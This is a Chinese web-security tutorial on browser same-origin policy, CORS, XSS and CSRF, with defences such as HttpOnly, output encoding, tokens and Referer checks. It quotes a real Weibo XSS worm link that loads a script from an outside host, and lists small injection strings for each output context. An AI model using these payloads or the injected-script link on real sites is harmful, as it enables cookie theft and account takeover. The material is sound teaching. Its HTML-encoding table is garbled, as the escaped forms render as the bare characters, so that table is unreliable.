客戶端(瀏覽器)安全
同源策略(Same Origin Policy)
同源策略阻止從一個源加載的文檔或腳本獲取或設置另一個源加載的文檔的屬性。
如:
不能通過Ajax獲取另一個源的數據;
JavaScript不能訪問頁面中iframe加載的跨域資源。
對 http://store.company.com/dir/page.html 同源檢測

跨域限制
- 瀏覽器中,script、img、iframe、link等標簽,可以跨域引用或加載資源。
- 不同於 XMLHttpRequest,通過src屬性加載的資源,瀏覽器限制了JavaScript的權限,使其不能讀、寫返回的內容。
- XMLHttpRequest 也受到也同源策略的約束,不能跨域訪問資源。
JSONP
為了解決 XMLHttpRequest 同源策略的局限性,JSONP出現了。
JSONP並不是一個官方的協議,它是利用script標簽中src屬性具有跨域加載資源的特性,而衍生出來的跨域數據訪問方式。
CORS(Cross-Origin Resource Sharing)
CORS,即:
跨域資源共享。
這是W3C委員會制定的一個新標准,用於解決 XMLHttpRequest 不能跨域訪問資源的問題。目前支持情況良好(特指移動端)。
想了解更多,可查看之前的文章:
《CORS(Cross-Origin Resource Sharing) 跨域資源共享》
XSS(Cross Site Script)
XSS(Cross Site Script) 即:
跨站腳本攻擊。
本來縮寫其應該是CSS,不過為了避免和CSS層疊樣式表 (Cascading Style Sheets)重復,所以在安全領域叫做 XSS 。
XSS 分類
XSS 主要分為兩種形態
- 反射型XSS(非持久型XSS)。需要誘惑用戶去激活的XSS攻擊,如:點擊惡意鏈接。
- 存儲型XSS。混雜有惡意代碼的數據被存儲在服務器端,當用戶訪問輸出該數據的頁面時,就會促發XSS攻擊。具有很強的穩定性。
XSS Payload
XSS Payload,是指那些用於完成各種具體功能的惡意腳本。
由於實現XSS攻擊可以通過JavaScript、ActiveX控件、Flash插件、Java插件等技術手段實現,下面只討論JavaScript的XSS Payload。
通過JavaScript實現的XSS Payload,一般有以下幾種:
- Cookie劫持
- 構造請求
- XSS釣魚
- CSS History Hack
Cookie劫持
由於Cookie中,往往會存儲着一些用戶安全級別較高的信息,如:用戶的登陸憑證。
當用戶所訪問的網站被注入惡意代碼,它只需通過
document.cookie 這句簡單的JavaScript代碼,就可以順利獲取到用戶當前訪問網站的cookies。
如果攻擊者能獲取到用戶登陸憑證的Cookie,甚至可以繞開登陸流程,直接設置這個cookie的值,來訪問用戶的賬號。
構造請求
JavaScript 可以通過多種方式向服務器發送GET與POST請求。
網站的數據訪問和操作,基本上都是通過向服務器發送請求而實現的。
如果讓惡意代碼順利模擬用戶操作,向服務器發送有效請求,將對用戶造成重大損失。
例如:更改用戶資料、刪除用戶信息等...
XSS釣魚
關於網站釣魚,詳細大家應該也不陌生了。
就是偽造一個高度相似的網站,欺騙用戶在釣魚網站上面填寫賬號密碼或者進行交易。
而XSS釣魚也是利用同樣的原理。
注入頁面的惡意代碼,會彈出一個想死的彈窗,提示用戶輸入賬號密碼登陸。
當用戶輸入后點擊發送,這些資料已經去到了攻擊者的服務器上了。
如:

CSS History Hack
CSS History Hack是一個有意思的東西。它結合 瀏覽器歷史記錄 和 CSS的偽類:a:visited,通過遍歷一個網址列表來獲取其中<a>標簽的顏色,就能知道用戶訪問過什么網站。
PS:目前最新版的Chrome、Firefox、Safari已經無效,Opera 和 IE8以下 還可以使用。
XSS Worm
XSS Worm,即XSS蠕蟲,是一種具有自我傳播能力的XSS攻擊,殺傷力很大。
引發 XSS蠕蟲 的條件比較高,需要在用戶之間發生交互行為的頁面,這樣才能形成有效的傳播。一般要同時結合 反射型XSS 和 存儲型XSS 。
案例:Samy Worm、新浪微博XSS攻擊
新浪微博XSS攻擊
這張圖,其實已經是XSS蠕蟲傳播階段的截圖了。
攻擊者要讓XSS蠕蟲成功被激活,應該是通過 私信 或者 @微博 的方式,誘惑一些微博大號上當。
當這些大號中有人點擊了攻擊鏈接后,XSS蠕蟲就被激活,開始傳播了。

這個XSS的漏洞,其實就是沒有對地址中的變量進行過濾。
把上圖的鏈接decode了之后,我們就可以很容易的看出,這個鏈接的貓膩在哪里。
鏈接上帶的變量,直接輸出頁面,導致外部JavaScript代碼成功注入。
傳播鏈接:http://weibo.com/pub/star/g/xyyyd
%22%3E%3Cscript%20src=//www.2kt.cn/images/t.js%3E%3C/script%3E?type=update
把鏈接decode之后:http://weibo.com/pub/star/g/xyyyd
"><script src=//www.2kt.cn/images/t.js></script>?type=update

相關XSS代碼這里就不貼了,Google一下就有。
其實也要感謝攻擊者只是惡作劇了一下,讓用戶沒有造成實際的損失。
網上也有人提到,如果這個漏洞結合XSS釣魚,再配合隱性傳播,那樣殺傷力會更大。
XSS 防御技巧
HttpOnly
服務器端在設置安全級別高的Cookie時,帶上HttpOnly的屬性,就能防止JavaScript獲取。
PHP設置HttpOnly:
1 <? 2 header("Set-Cookie: a=1;", false); 3 header("Set-Cookie: b=1;httponly", false); 4 setcookie("c", "1", NULL, NULL, NULL, NULL, ture);
PS:手機上的QQ瀏覽器4.0,居然不支持httponly,而3.7的版本卻沒問題。測試平台是安卓4.0版本。
估計是一個低級的bug,已經向QQ瀏覽器那邊反映了情。
截止時間:2013-01-28
輸入檢查
任何用戶輸入的數據,都是“不可信”的。
輸入檢查,一般是用於輸入格式檢查,例如:郵箱、電話號碼、用戶名這些...
都要按照規定的格式輸入:電話號碼必須純是數字和規定長度;用戶名除 中英文數字 外,僅允許輸入幾個安全的符號。
輸入過濾不能完全交由前端負責,前端的輸入過濾只是為了避免普通用戶的錯誤輸入,減輕服務器的負擔。
因為攻擊者完全可以繞過正常輸入流程,直接利用相關接口向服務器發送設置。
所以,前端和后端要做相同的過濾檢查。
輸出檢查
相比輸入檢查,前端更適合做輸出檢查。
可以看到,HttpOnly和前端沒直接關系,輸入檢查的關鍵點也不在於前端。
那XSS的防御就和前端沒關系了?
當然不是,隨着移動端web開發發展起來了,Ajax的使用越來越普遍,越來越多的操作都交給前端來處理。
前端也需要做好XSS防御。
JavaScript直接通過Ajax向服務器請求數據,接口把數據以JSON格式返回。前端整合處理數據后,輸出頁面。
所以,前端的XSS防御點,在於輸出檢查。
但也要結合
XSS可能發生的場景。
XSS注意場景
在HTML標簽中輸出
如:<a href=# >{$var}</a>
風險:{$var} 為 <img src=# onerror="/xss/" />
防御手段:變量HtmlEncode后輸出
在HTML屬性中輸出
如:<div data-num="{$var}"></div>
風險:{$var} 為
" onclick="/xss/
防御手段:變量HtmlEncode后輸出
在<script>標簽中輸出
如:<script>var num = {$var};</script>
風險:{$var} 為
1; alert(/xss/)
防御手段:確保輸出變量在引號里面,再讓變量JavaScriptEncode后輸出。
在事件中輸出
如:<span onclick="fun({$var})">hello!click me!</span>
風險:{$var} 為
); alert(/xss/); //
防御手段:確保輸出變量在引號里面,再讓變量JavaScriptEncode后輸出。
在CSS中輸出
一般來說,盡量禁止用戶可控制的變量在<style>標簽和style屬性中輸出。
在地址中輸出
如:<a href="http://3g.cn/?test={$var}">
風險:{$var} 為
" onclick="alert(/xss/)
防御手段:對URL中除 協議(Protocal) 和 主機(Host) 外進行URLEncode。如果整個鏈接都由變量輸出,則需要判斷是不是http開頭。
HtmlEncode
對下列字符實現編碼
& ——》 &
< ——》 <
> ——》 >
" ——》 "
' ——》 ' (IE不支持')
/ ——》 /
JavaScriptEncode
對下列字符加上反斜杠
" ——》 \"
' ——》 \'
\ ——》 \\
\n ——》 \\n
\r ——》 \\r (Windows下的換行符)
例子: "\\".replace(/\\/g, "\\\\"); //return \\
推薦一個JavaScript的模板引擎:
artTemplate
URLEncode
使用以下JS原生方法進行URI編碼和解碼:
- encodeURI
- decodeURI
- decodeURIComponent
- encodeURIComponent
CSRF(Cross-site request forgery)

CSRF 即:
跨站點請求偽造
網站A :為惡意網站。
網站B :用戶已登錄的網站。
當用戶訪問 A站 時,A站 私自訪問 B站 的操作鏈接,模擬用戶操作。
假設B站有一個刪除評論的鏈接:http://b.com/comment/?type=delete&id=81723
A站 直接訪問該鏈接,就能刪除用戶在 B站 的評論。
CSRF 的攻擊策略
因為瀏覽器訪問 B站 相關鏈接時,會向其服務器發送 B站 保存在本地的Cookie,以判斷用戶是否登陸。所以通過 A站 訪問的鏈接,也能順利執行。
CSRF 防御技巧
驗證碼
幾乎所有人都知道驗證碼,但驗證碼不單單用來防止注冊機的暴力破解,還可以有效防止CSRF的攻擊。
驗證碼算是對抗CSRF攻擊最簡潔有效的方法。
但使用驗證碼的問題在於,不可能在用戶的所有操作上都需要輸入驗證碼。
只有一些關鍵的操作,才能要求輸入驗證碼。
不過隨着HTML5的發展。
利用canvas標簽,前端也能識別驗證碼的字符,讓CSRF生效。
Referer Check
Referer Check即來源檢測。
HTTP Referer 是 Request Headers 的一部分,當瀏覽器向web服務器發出請求的時候,一般會帶上Referer,告訴服務器用戶從哪個站點鏈接過來的。
服務器通過判斷請求頭中的referer,也能避免CSRF的攻擊。
Token
CSRF能攻擊成功,根本原因是:操作所帶的參數均被攻擊者猜測到。
既然知道根本原因,我們就對症下葯,利用
Token。
當向服務器傳參數時,帶上Token。這個Token是一個
隨機值,並且由
服務器和用戶同時持有。
Token可以存放在用戶瀏覽器的Cookie中,
當用戶提交表單時帶上Token值,服務器就能驗證表單和Cookie中的Token是否一致。
(前提,網站沒有XSS漏洞,攻擊者不能通過腳本獲取用戶的Cookie)
最后,送上 HTML安全備忘列表:
http://heideri.ch/jso/
作者:Maple Jan
參考:
《白帽子講Web安全 》